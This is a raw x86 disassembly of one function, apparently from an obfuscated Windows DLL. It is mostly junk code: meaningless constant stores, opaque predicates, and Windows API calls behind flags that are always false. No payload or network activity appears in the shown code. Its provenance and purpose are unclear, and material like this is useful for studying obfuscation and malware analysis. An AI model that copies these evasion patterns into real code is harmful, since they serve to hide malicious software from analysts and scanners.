cmp edx, eax
mov eax, dword [ebp - 0x584]
setle bl
xor ecx, ecx
imul ebx, eax
mov eax, dword [ebp - 0x588]
cmp ebx, eax
mov eax, dword [ebp - 0x98]
setne cl
imul ecx, esi
sub eax, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x34]
jl 0x10035ad2
mov eax, dword [ebp - 0x5a0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x588], eax
jne 0x10035afd
xor eax, eax
cmp dword [ebp - 0x5a0], eax
jne 0x10035afd
xor ebx, ebx
inc ebx
jmp 0x10035b02
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x98], eax
xor eax, eax
push 6
pop ecx
cmp dword [ebp - 0xcb8], eax
je 0x1003659e
mov dword [ebp - 0x10], 0xf72b5725
mov dword [ebp - 0x18], 0x2fa5d872
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0x5dbd55a
mov dword [ebp - 0x2c], 0x26a8acdd
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
dec eax
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x10]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
sub eax, edx
je 0x10035b8f
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10035b91
mov edx, ebx
jmp 0x10035b93
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, 0xf1ef
setg al
add eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x10]
jg 0x10035bd8
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10035bda
mov ecx, ebx
jmp 0x10035bdc
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, ebx
push 9
setne al
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x10]
je 0x10035bfb
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10035bfd
mov edx, ebx
jmp 0x10035bff
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x10]
add edx, 0x3633e7a3
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x2c]
jne 0x10035c23
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x10035c25
mov ecx, ebx
mov eax, dword [ebp - 0x10]
imul eax, ecx
sub eax, 0x7fad5407
je 0x10035c3b
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10035c46
jmp 0x10035c3d
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10035d22
mov dword [ebp - 0x2c], ebx
push 3
mov dword [ebp - 0x20], eax
pop esi
cmp dword [ebp - 0x20], esi
jge 0x10035c6c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x294], 0x3232af72
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10035c54
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10035c8c
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035c89
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe7
jle 0x10035c71
cmp dword [ebp - 0x10], eax
je 0x10035cea
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0x294], 0xfff8
mov eax, dword [ebp - 0x294]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
add ecx, 0x7874d2d
jne 0x10035cc5
mov eax, dword [ebp - 0x290]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x290]
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x294]
mov eax, dword [ebp - 0x294]
cmp eax, dword [ebp - 0x1c]
jne 0x10035cfa
xor eax, eax
cmp dword [ebp - 0x294], eax
jne 0x10035cfc
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
jmp 0x10035d35
xor eax, eax
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035d19
push eax
push eax
push 0x3c4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x1c], 0xffffffff
jmp 0x10035d35
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035d32
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push 3
pop esi
push 9
pop eax
mov dword [ebp - 0x3c], eax
mov eax, 0x4896e6a3
mov dword [ebp - 0x50], 0xfffffff9
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x50], 0xbf34fda
mov dword [ebp - 0x50], 0x51fe77dd
mov dword [ebp - 0x50], 0x729cf308
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10035d98
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x14b4], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10035d80
xor eax, eax
dec dword [ebp - 0x2c]
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035dac
call dword [sym.imp.USER32.dll_GetCapture]
xor eax, eax
mov dword [ebp - 0x3c], 2
cmp dword [ebp - 0x3c], 0xfffffff3
je 0x10036c4a
mov esi, 0xe6c0
jmp 0x10035dc6
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10035deb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xc0], 0x8bbca631
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10035dd2
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10035e0b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xea4], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10035df3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x10035ee7
push 6
pop esi
mov dword [ebp - 0x2c], 0x39e071a0
xor edx, edx
mov dword [ebp - 0x2c], 0x30dfddae
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xc0]
cmp ecx, eax
mov eax, dword [ebp - 0xbc]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, esi
mov ecx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x1c]
setne dl
xor ebx, ebx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl bl
sub ebx, ecx
neg ebx
sbb ebx, ebx
inc ebx
sub ebx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x1c]
neg ebx
sbb ebx, ebx
inc ebx
sub ebx, dword [ebp + eax*4 - 0xc0]
neg ebx
sbb ebx, ebx
inc ebx
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xc0]
add eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
add eax, 0x59db3249
neg eax
sbb eax, eax
xor ebx, ebx
inc eax
inc ebx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10035e1a
xor eax, eax
mov esi, 0xe6c0
mov dword [ebp - 0x1c], 0xffffffe6
cmp dword [ebp - 0x1c], 0x1a
jle 0x1003601c
push 3
pop ecx
mov dword [ebp - 0x28], 0xa814b11f
mov dword [ebp - 0x50], 0x39bf5bf8
mov dword [ebp - 0x2c], 0x61e7ff51
mov dword [ebp - 0x24], 0x759f32f5
mov dword [ebp - 0x30], 0x231d
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x10035f3a
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x10fc], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10035f26
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x1003600f
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x20], eax
jmp 0x10035f66
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2f0], 0x2097e65f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10035f55
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp dword [ebp + eax*4 - 0xc0], edx
je 0x10035fe0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0xc0]
dec dword [ebp - 0x24]
cmp eax, 0x7dc4
mov eax, ebx
cmovne eax, edx
xor ecx, ecx
cmp eax, 0xb4ab19f8
mov eax, dword [ebp - 0x1c]
sete cl
add eax, 0x23d3
add eax, ecx
xor ecx, ecx
mov dword [ebp - 0x10fc], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f0], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xc0]
test eax, eax
sete cl
cmp ecx, ebx
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x2c]
mov eax, ebx
jne 0x10035fe2
mov eax, edx
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
push 0
setne cl
xor eax, eax
cmp ecx, ebx
setle al
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x28]
pop eax
cmp dword [ebp - 0x28], ebx
jle 0x10035f46
push 3
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1a
jg 0x10035efb
mov dword [ebp - 0x4c], 0x4a4e7fb1
push 4
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x10036042
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x330], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1003602e
xor eax, eax
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x1003606d
push 0x25d0
push eax
push eax
push eax
push eax
push 0xb15
push 0xdf8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], ecx
jne 0x10036250
push 0xfffffffffffffffe
pop esi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x9cc], esi
mov dword [ebp - 0x9c8], esi
mov dword [ebp - 0x9c4], esi
mov dword [ebp - 0x9c0], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100360c2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3b4], 0x8f8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100360a9
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x100360e1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1204], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100360cd
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10036101
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1114], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100360e9
xor eax, eax
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], eax
jl 0x10036236
mov dword [ebp - 0x10], 0xd65121ac
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x100361cc
mov dword [ebp - 0x24], 0x7d77fc7d
xor ecx, ecx
mov dword [ebp - 0x2c], 0x653649d9
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x3b4]
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x9c0], eax
mov eax, dword [ebp - 0x324]
mov eax, dword [ebp - 0x328]
mov eax, dword [ebp - 0x324]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x3b4]
mov eax, dword [ebp - 0x11fc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x3b4]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x110c], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c0]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + eax*4 - 0x3b4]
mov eax, dword [ebp - 0x32c]
cmp eax, 0x73c1
setne cl
xor eax, eax
cmp ecx, edx
setl al
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x32c]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
dec dword [ebp - 0x10]
jns 0x10036120
push 3
xor eax, eax
pop ecx
mov dword [ebp - 0x10], eax
jmp 0x10036228
mov dword [ebp - 0x28], 0x8d58945c
mov dword [ebp - 0x28], eax
jmp 0x10036220
mov dword [ebp - 0x4c], 0xd3763964
mov dword [ebp - 0x4c], eax
jmp 0x10036217
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x20], eax
jmp 0x1003620f
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x1003620c
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 3
xor eax, eax
pop ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x100361f5
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jle 0x100361e9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x100361dd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x100361d1
dec dword [ebp - 0x44]
jns 0x1003610d
inc dword [ebp - 0x328]
push 7
pop ecx
cmp dword [ebp - 0x328], ecx
je 0x10036085
mov esi, 0xe6c0
mov byte [ebp - 0x11], al
mov dword [ebp - 0x10], 0xfb0b0297
mov dword [ebp - 0x2c], 0x74b1b055
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10036280
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2c0], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003626c
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100362a0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xae8], 0xfc88eb98
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10036288
xor eax, eax
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], eax
jl 0x1003642a
push 6
pop esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100362d3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x270], 0x114768c0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100362bb
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100362f3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11bc], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100362db
xor eax, eax
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10036305
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
xor eax, eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 2
jg 0x10036419
push 4
mov dword [ebp - 0x20], eax
pop ecx
jmp 0x10036331
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xbe4], 0x350d8af
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10036320
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x2c0]
test eax, eax
sete cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xae4], eax
mov eax, dword [ebp - 0x26c]
mov eax, dword [ebp + eax*4 - 0x2c0]
cmp esi, eax
sbb eax, eax
inc eax
mov dword [ebp - 0xbd8], eax
cmp eax, dword [ebp - 0x26c]
jl 0x10036383
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x26c]
mov eax, dword [ebp + eax*4 - 0x2c0]
mov eax, dword [ebp - 0x2bc]
imul eax, dword [ebp - 0x10]
test eax, eax
jne 0x10036397
mov eax, dword [ebp - 0xbe4]
mov eax, dword [ebp - 0x26c]
xor ebx, ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x2c0]
mov eax, dword [ebp - 0xbd8]
neg eax
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setge bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x2c0]
mov eax, dword [ebp - 0x10]
sub ebx, eax
mov eax, dword [ebp - 0x10]
cmp ebx, ecx
setge dl
add edx, dword [ebp + eax*4 - 0x2c0]
mov dword [ebp - 0x11b4], edx
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x2c0], 0
jne 0x100363f8
xor eax, eax
cmp dword [ebp - 0xbd8], eax
jne 0x100363f8
xor ebx, ebx
inc ebx
jmp 0x100363fd
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0xae4], eax
inc dword [ebp - 0x26c]
cmp dword [ebp - 0x26c], 2
push 0
pop eax
jle 0x10036318
dec dword [ebp - 0x10]
push 3
pop ecx
jns 0x100362b3
mov esi, 0xe6c0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xae4], eax
cmp byte [ebp - 0x11], 0
je 0x10036589
mov dword [ebp - 0x18], 0xffffffff
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0xb3493876
mov dword [ebp - 0xc84], esi
mov dword [ebp - 0xc80], esi
push 5
mov dword [ebp - 0xc7c], esi
pop edx
mov dword [ebp - 0xc78], esi
mov dword [ebp - 0x2c], edx
push 4
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0x96121589
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1003649e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1270], 0xfffffffe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10036486
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100364c0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x594], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100364a7
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x100364d6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xef4], 0x1f947f9f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100364c5
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0x22db785b
setg cl
neg ecx
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
cmp eax, 0x68cd5467
setle cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], eax
je 0x10036510
cmp dword [ebp - 0x18], eax
jne 0x10036515
cmp dword [ebp - 0x34], eax
je 0x10036517
mov eax, ebx
cmp eax, dword [ebp - 0x18]
jne 0x1003652a
xor eax, eax
cmp dword [ebp - 0xc78], eax
je 0x1003652c
mov ecx, ebx
jmp 0x1003652e
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0xfffffff6
setle al
xor ecx, ecx
mov dword [ebp - 0x1264], eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x594]
mov eax, dword [ebp - 0x594]
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0xdf60
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0xef0], 0xde2caeab
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff3
jne 0x10035dc4
push 3
pop esi
jmp 0x10036c4a
mov dword [ebp - 0x28], 0xf6af1124
mov dword [ebp - 0x244], 0xffffffff
mov dword [ebp - 0x240], 0xffffffff
mov dword [ebp - 0x23c], 0xffffffff
mov dword [ebp - 0x238], 0xffffffff
mov dword [ebp - 0x18], 0xfffffffd
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], 0xd1e93126
mov dword [ebp - 0x2c], 0x50a8e066
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1a
push 0xfffffffffffffff9
pop ebx
jg 0x10036929
mov dword [ebp - 0x10], 0x603fa75c
mov dword [ebp - 0x3c], 0x9a22db78
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x4c], 0xba8b
mov dword [ebp - 0x5c], 0x1c63
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x2c], 0x501d8dd5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffe3
jge 0x10036877
push 4
pop edi
jmp 0x1003663d
xor eax, eax
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x350], ebx
mov dword [ebp - 0x34c], ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], ebx
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x48], 0x5315
mov dword [ebp - 0x2c], 0x5532cf2d
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10036692
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x320], 0xfffffff7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10036679
xor eax, eax
mov dword [ebp - 0x320], 0xffffffff
cmp dword [ebp - 0x320], edi
jle 0x1003685a
xor esi, esi
inc esi
jmp 0x100366af
xor eax, eax
mov dword [ebp - 0x38], 0x672d
mov dword [ebp - 0x2c], 0xee676845
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x20], eax
jmp 0x100366ea
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd80], 0x30bd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100366d9
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0x23c], eax
jge 0x10036774
inc dword [ebp - 0x1c]
mov ecx, 0xc0266d99
mov eax, dword [ebp - 0x348]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x238]
setle cl
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x350]
setl dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x23c]
imul eax, edx
cmp eax, 0xc38
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x240]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x348]
inc dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x240]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x4c]
jne 0x100367ad
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x100367af
mov eax, esi
mov dword [ebp - 0x3c], eax
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x348]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
imul eax, edx, 0xffff
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x23c]
add eax, ecx
mov ecx, dword [ebp - 0x4c]
add ecx, eax
xor eax, eax
imul ecx, dword [ebp - 0xd7c]
cmp ecx, 0xf1c74f34
setne al
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
cmp eax, 0xdfbf
setl cl
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x320]
cmp dword [ebp - 0x320], edi
jg 0x100366ad
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003686a
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe3
jl 0x1003663b
mov eax, dword [ebp - 0x23c]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x244], 0xb730
xor eax, eax
mov dword [ebp - 0x10], eax
imul ecx, dword [ebp - 0x10], 0xc253
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x24], edx
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
setl dl
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, 8
setne cl
mov dword [ebp - 0x2c], ecx
mov ecx, 0xffff9418
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
je 0x1003690a
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1003690c
lea ecx, [eax + 1]
jmp 0x1003690e
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
add eax, ecx
push 0
